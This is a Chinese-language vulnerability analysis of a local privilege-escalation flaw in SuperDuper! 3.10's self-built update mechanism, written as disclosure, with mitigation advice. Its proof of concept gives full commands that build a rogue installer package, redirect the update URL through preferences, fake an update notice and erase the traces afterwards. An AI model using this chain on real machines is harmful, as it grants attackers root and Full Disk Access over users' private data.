
此问题似乎比开发者所暗示的更为严重,我不希望这部分内容被埋没。开发者在博客中提到:
只有当您的系统上有一个程序正在寻找SuperDuper进行更新、通过合法途径呈现了真实更新、并且您点击了升级时,这种情况才会发生。
这并非事实,利用此漏洞并不需要通过合法途径呈现真实更新。绝对不要接受SuperDuper 3.10及更早版本提供的任何更新! 我将在下文更详细地解释这一点。
同样重要的是要理解,此漏洞不仅限于权限提升,还涉及对隐私控制的破坏。这个细节似乎被开发者博客文章省略了。
摘自开发者博客:
我们的自动更新机制可能被劫持,并被诱导安装一个并非SuperDuper的软件包。
尽管我们签名并公证了我们的安装程序包,但当由macOS的程序包安装器安装时,Gatekeeper并未检查该公证。因此,下载内容可能被篡改,而我们将安装被篡改后的内容。由于安装过程使用提升的权限执行,这可能允许恶意第三方程序(您必须额外安装该程序)获得您系统的管理员访问权限。
摘自CVE:
Shirt Pocket SuperDuper! V.3.10及之前版本存在一个漏洞,允许本地攻击者通过软件更新机制执行任意代码。
本作者并非此漏洞的发现者,SuperDuper开发者将其指认为“匿名安全研究员”。我不声称发现了此漏洞,只是出于兴趣对其进行了技术分析。
CVSS 3.1 评分:7.8 高危 (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
为避免此漏洞,请删除SuperDuper!应用程序,或应用3.11更新。
警告:您必须直接从开发者网站下载更新,以避免此漏洞。
此漏洞分析及概念验证仅供教育目的。使用风险自负。
SuperDuper 开发者没有实现一个经数百名开发者和安全专家测试过的开源软件更新解决方案,而是创建了他们自己的软件更新机制,该机制建立在以root权限运行并具有完全磁盘访问权限的不安全shell脚本之上。由于未能验证更新过程中安装的软件的真实性,SuperDuper被欺骗安装了攻击者的软件。开发者的修复仅解决了此漏洞的认证方面,并未解决因使用shell脚本促进更新过程而导致的固有漏洞。
开发者关于“Gatekeeper未检查该公证”的评论具有误导性。GateKeeper 在您尝试打开通过浏览器下载的内容时发挥作用,但这并不适用于应用程序的内部软件更新机制。100%是开发者的责任来验证其软件下载并安装到您计算机上的任何内容——不要让开发者让您相信这是GateKeeper的失败。直击漏洞核心,攻击者可以诱骗SuperDuper安装一个替代软件包,并且该过程以提升的权限执行。鉴于SuperDuper需要完全磁盘访问权限才能执行任何操作,因此推测它也将在完全磁盘访问权限下运行。
开发者的博客还指出:
只有当您的系统上有一个程序正在寻找SuperDuper进行更新、通过合法途径呈现了真实更新、并且您点击了升级时,这种情况才会发生。
基于此评论,我原本认为可能无法复现此漏洞,因为它应该涉及更新机制的服务器端更改,而该更改应与3.11补丁的发布同时进行。换句话说,为了防止旧版本软件受到此漏洞影响,他们肯定已经禁用了更新机制,对吧?然而......我下载了一个旧版本的SuperDuper,打开后立即收到了一个更新通知† —— 距离潜在漏洞仅一次点击之遥。我觉得这非常有趣——如果自动更新机制没有被禁用,旧版本应用程序的用户如何能免受此漏洞影响?(这与我在本文开头提到的“警告”有关,我将在最后重新探讨这个问题)
† 某种程度上算是......结果实际上非常尴尬。窗口中没有更新描述或安全公告,只有“跳过”和“更新”按钮。因此,旧版本用户不仅没有因为更新机制被禁用而免受漏洞影响,而且也没有通过更新机制被告知该问题。
我继续深入。当您应用升级时,后台机制会被记录到SuperDuper日志中,所以我们从那里开始了解它的工作方式:
Transcript : UpgradeTranscript.plist
Ext Logging : Disabled
PHASE: 1. Upgrade Application
...ACTION: Downloading upgrade package
......COMMAND => Downloading update package...
......COMMAND => Preparing update package
...ACTION: Installing upgrade package
......COMMAND => Preserving SDAgent owner and mode bits
......COMMAND => Installing upgrade package
installer[3148] <Debug>: Product archive /tmp/SuperDuper!.pkg trustLevel=350
许多Mac App Store之外的Mac应用使用开源Sparkle框架来(安全地)管理软件更新。但SuperDuper没有。我们可以看到他们创建了自己的框架,而这正是为什么这通常是个糟糕选择的一个绝佳例子。软件升级机制是攻击的主要目标,因此需要大量时间和专业知识来保持其安全性。"UpgradeTranscript.plist" 是SuperDuper应用程序内部的一个文件,其中包含一系列终端命令,SuperDuper使用这些命令来下载和应用更新:
cat /Applications/SuperDuper\!.app/Contents/Resources/Transcripts/UpgradeTranscript.plist
<?xml version="1.0" encoding="UTF-8"?>
...
/usr/bin/curl SDHTTPproxy.Host --silent --show-error --output /tmp/superduper.tar.gz -L SDdownloadURL
cd /tmp; if [ -d superduper_install ]; then /bin/rm -rf superduper_install; fi; /bin/mkdir superduper_install; /usr/bin/tar xzf superduper.tar.gz; /bin/rm /tmp/superduper.tar.gz; if [ -d '/Library/Receipts/SuperDuper!.pkg' ]; then /bin/rm -rf '/Library/Receipts/SuperDuper!.pkg'; fi;
/usr/sbin/installer -allow -verboseR -dumplog -pkg '/tmp/SuperDuper!.pkg' -target / >&1 2>&1;
if [ ! -d '/tmp/superduper_install/SuperDuper!.app' ]; then /usr/bin/ditto -rsrc '/Applications/Utilities/SuperDuper!.app' '/tmp/superduper_install/SuperDuper!.app'; fi
/bin/rm -rf '/tmp/SuperDuper!.pkg' '/tmp/superduper_install' '/Library/Receipts/SuperDuper!.pkg'; if [ SDAppBundle.'Path != '/Applications/Utilities/SuperDuper!.app' -a -d '/Applications/Utilities/SuperDuper!.app' ]; then /bin/rm -rf '/Applications/Utilities/SuperDuper!.app'; fi
这些命令和过程至少存在四个问题:
软件包安装程序可以运行 shell 脚本,因此我假设这是替代安装程序包的首选攻击向量。让我们从构建一个运行预安装脚本的软件包开始,然后看看如何将其插入更新机制。
# 使用 "/tmp/superduper_install" 安装文件夹便于 SuperDuper 进行清理
mkdir /tmp/superduper_install
mkdir /tmp/superduper_install/script
mkdir /tmp/superduper_install/pkg
# 创建脚本。/Library 只允许 root 写入,因此我们将尝试在那里创建一个测试文件。
# 获取桌面文件夹的内容需要用户授予隐私权限,因此我们还将尝试将该文件夹列表拉取到桌面上的一个文本文件中,
# 以检查我们是否拥有完全磁盘访问权限。注意,要有效测试这部分漏洞,您应该从终端撤销完全磁盘访问权限。
cd ~; export home=`pwd`
printf '#!/bin/bash\ntouch /Library/test\n' > /tmp/superduper_install/script/preinstall
printf "ls -l $home/Desktop > $home/Desktop/private_data\nexit 0\n" >> /tmp/superduper_install/script/preinstall
chmod a+x /tmp/superduper_install/script/preinstall
# 构建软件包
pkgbuild --nopayload --scripts /tmp/superduper_install/script --identifier com.example.mypackage --version 1.0 /tmp/superduper_install/pkg/SuperDuper\!.pkg
# 将软件包放入 tar 归档
cd /tmp/superduper_install/pkg
tar -cf /tmp/superduper_install/superduped.tar.gz SuperDuper\!.pkg
简要旁注,看看此漏洞会给攻击者带来什么权限——如果您手动运行 shell 脚本(假设终端没有完全磁盘访问权限或“文件和文件夹”访问权限),您将收到两个错误:
touch: /Library/test: Permission denied
ls: /Users/user/Desktop: Operation not permitted
攻击者通过 root 权限可以造成很大破坏,但再加上隐私权限,他们可以访问您主文件夹中更广泛的内容(桌面可能看起来微不足道,但隐藏的 Library 文件夹中存储了大量私人数据)。此漏洞同时提供了这两者。
好的,构建软件包是容易的部分。我们如何侵入更新机制?利用竞态条件是一个明显的候选,但我想知道是否可能在过程的这一部分进行干预:
/usr/bin/curl SDHTTPproxy.Host --silent --show-error --output /tmp/superduper.tar.gz -L SDdownloadURL
主机和下载 URL 变量显然来自脚本外部。它们能被操控吗?使用 Sparkle 软件更新机制的应用通常会在 CFPreferences 中存储一个“软件更新检查”URL,因此我想知道 SuperDuper 是否也这样做。果然,但更糟糕的是——SuperDuper 不仅存储了一个用于检查更新的 URL,还将实际的下载 URL 存储在 CFPreferences 中:
defaults read com.blacey.SuperDuper
...
UMdownloadURL = "https://s3.amazonaws.com/shirtpocket/SuperDuper/beta/superduper2.tar.gz";
UMfailureCount = 0;
UMinfoURL = "https://s3.amazonaws.com/shirtpocket/SuperDuper/beta/superduperinfo2.rtf";
UMpublicVersion = "137.7";
我尝试用本地文件系统 URL 覆盖该 URL:
defaults write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
我重新打开 SuperDuper 并点击更新,但更新继续安装了开发者的更新,而不是我的替代软件包。当然——当 SuperDuper 在启动时再次看到更新时,它重写了 defaults 值。我尝试在 SuperDuper 呈现更新后设置该值,这次成功了!实际上,更新安装失败了,但攻击成功了——/Library/test 文件被创建。
我删除了测试文件并重复测试以验证它确实有效。我还确认桌面上的 private_data 文件现在包含了桌面的文件夹列表——脚本以完全磁盘访问权限运行。
我本可以就此打住,但错误日志显示安装失败是因为找不到 SuperDuper:
COMMAND => Copying upgrade bundle to temporary location
***ERROR OCCURRED: ditto: Cannot get the real path for source '/Applications/Utilities/SuperDuper!.app'
重新审视 UpgradeTranscript.plist shell 脚本的逻辑,我意识到如果我只是将 SuperDuper 应用程序复制到替代软件包中,安装程序可能会成功(ditto 抛出该错误是因为 /tmp/superduper_install/SuperDuper!.app 不存在)。这比预期的要困难,SuperDuper 在安装过程中总是崩溃。更简单的方法是让预安装脚本在运行时将应用程序复制到预期位置:
mkdir /tmp/superduper_install
mkdir /tmp/superduper_install/script
mkdir /tmp/superduper_install/pkg
cd ~; export home=`pwd`
printf '#!/bin/bash\ntouch /Library/test\n' > /tmp/superduper_install/script/preinstall
printf "ls -l $home/Desktop > $home/Desktop/private_data\n" >> /tmp/superduper_install/script/preinstall
printf 'cp -R /Applications/SuperDuper\!.app /tmp/superduper_install/SuperDuper\!.app\n' >> /tmp/superduper_install/script/preinstall
chmod a+x /tmp/superduper_install/script/preinstall
pkgbuild --nopayload --scripts /tmp/superduper_install/script --identifier com.example.mypackage --version 1.0 /tmp/superduper_install/pkg/SuperDuper\!.pkg
cd /tmp/superduper_install/pkg
tar cf /tmp/superduper_install/superduped.tar.gz SuperDuper\!.pkg
[打开 SuperDuper 以获取更新呈现]
defaults write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
现在 SuperDuper 安装了虚假的软件包,并且似乎安装成功。SuperDuper 重新启动并再次呈现更新,这在意料之中,因为它只是重新安装了我们在 tmp 文件夹中制作的旧版本副本。没有错误消息可能足以欺骗普通用户,让他们相信一切正常,他们会再次点击升级按钮,这次从开发者网站安装真正的软件包。与此同时,漏洞已经被激活,用户只会耸耸肩,“哎呀,有点奇怪,但现在能用了。”
这里仍然存在一个逻辑问题,会使这个攻击难以实施:攻击者必须在更新呈现给用户之后、用户点击升级按钮之前运行那个 "defaults" 命令。这当然是可以做到的,您可以在后台无限重复运行那个 "defaults write" 命令,但这会引起注意。起初我以为可以通过锁定偏好设置文件来绕过这个问题:
defaults write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
chflags uchg ~/Library/Preferences/com.blacey.SuperDuper.plist
[等待 SuperDuper 更新呈现,然后用户可以直接应用它,无需额外步骤]
但这行不通。思考偏好设置的工作原理,这很合理。应用程序不会每次需要获取设置时都打开这些文件并读取值,而是通过 "CFPreferences" 接口请求值。如果 SuperDuper 更改了 UMdownloadURL 的值,CFPreferences 会在内存中保留该更改,即使物理文件未改变。当 SuperDuper 稍后请求该设置的值时,CFPreferences 会从缓存中获取(如果物理文件发生更改,缓存也会更新)。
此时,有些事情一直困扰着我——为什么开发者要把下载 URL 写入 CFPreferences?肯定只有当你还计划从 CFPreferences 读取这些值的时候,你才会把它们写入 CFPreferences,对吧?但为什么不直接将值存储在内存中的某个变量里呢?以这种方式使用 CFPreferences 有两个每个经验丰富的 Mac 开发者都应该知道的大问题:
为了测试我的理论,我将偏好设置写入了 "currentHost" 域,它覆盖了应用程序域:
defaults -currentHost write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
然后我重新启动 SuperDuper 并点击升级——替代软件包被安装了。令人震惊。这使得漏洞利用变得容易得多,攻击者只需放置该偏好设置,然后无限期等待更新发布。但等等,如果 SuperDuper 从偏好设置中获取下载 URL 值,它是否也会获取版本号?攻击者能否基本上诱导更新并诱骗 SuperDuper 呈现它,即使开发者没有发布更新?啊,是的!把所有步骤结合起来,攻击者可以执行以下命令,让旧版本(未打补丁)的 SuperDuper! 呈现一个虚假更新,安装替代软件包,同时让 SuperDuper 清除所有攻击痕迹:
mkdir /tmp/superduper_install
mkdir /tmp/superduper_install/script
mkdir /tmp/superduper_install/pkg
cd ~; export home=`pwd`; export user=`whoami`
printf '#!/bin/bash\ntouch /Library/test\n' > /tmp/superduper_install/script/preinstall
printf "ls -l $home/Desktop > $home/Desktop/private_data\n" >> /tmp/superduper_install/script/preinstall
printf 'cp -R /Applications/SuperDuper\!.app /tmp/superduper_install/SuperDuper\!.app\n' >> /tmp/superduper_install/script/preinstall
printf "sudo -u $user defaults -currentHost delete com.blacey.SuperDuper\n" >> /tmp/superduper_install/script/preinstall
chmod a+x /tmp/superduper_install/script/preinstall
pkgbuild --nopayload --scripts /tmp/superduper_install/script --identifier com.example.mypackage --version 1.0 /tmp/superduper_install/pkg/SuperDuper\!.pkg
cd /tmp/superduper_install/pkg
tar cf /tmp/superduper_install/superduped.tar.gz SuperDuper\!.pkg
defaults -currentHost write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
printf '<span style="font-weight: bold; font-size: 11pt; font-family: sans-serif;"><span style="color: red;">SuperDuper 4.0 (v140)</span> is now available for automatic upgrade!</span>\n' > /tmp/superduper_install/update.html
textutil -convert rtf /tmp/superduper_install/update.html
defaults -currentHost write com.blacey.SuperDuper UMpublicVersion "999"
defaults -currentHost write com.blacey.SuperDuper UMinfoURL "file:///tmp/superduper_install/update.rtf"
open '/Applications/SuperDuper!.app'
当 SuperDuper 在安装替代软件包后重新加载时,更新不再呈现,用户继续相信他们已经安装了新版本,完全不知道漏洞已被激活。
回到本文开头,我思考过:“如果自动更新机制没有被禁用,旧版本应用程序的用户如何能免受此漏洞影响?” 结果证明,开发者是否禁用自动更新机制并不重要——此漏洞可以在没有(或尽管有)任何服务器端更改的情况下被利用,甚至不需要开发者发布“真实”更新。唯一的缓解措施是用户始终拒绝自动更新,直到他们手动更新到已打补丁的产品版本。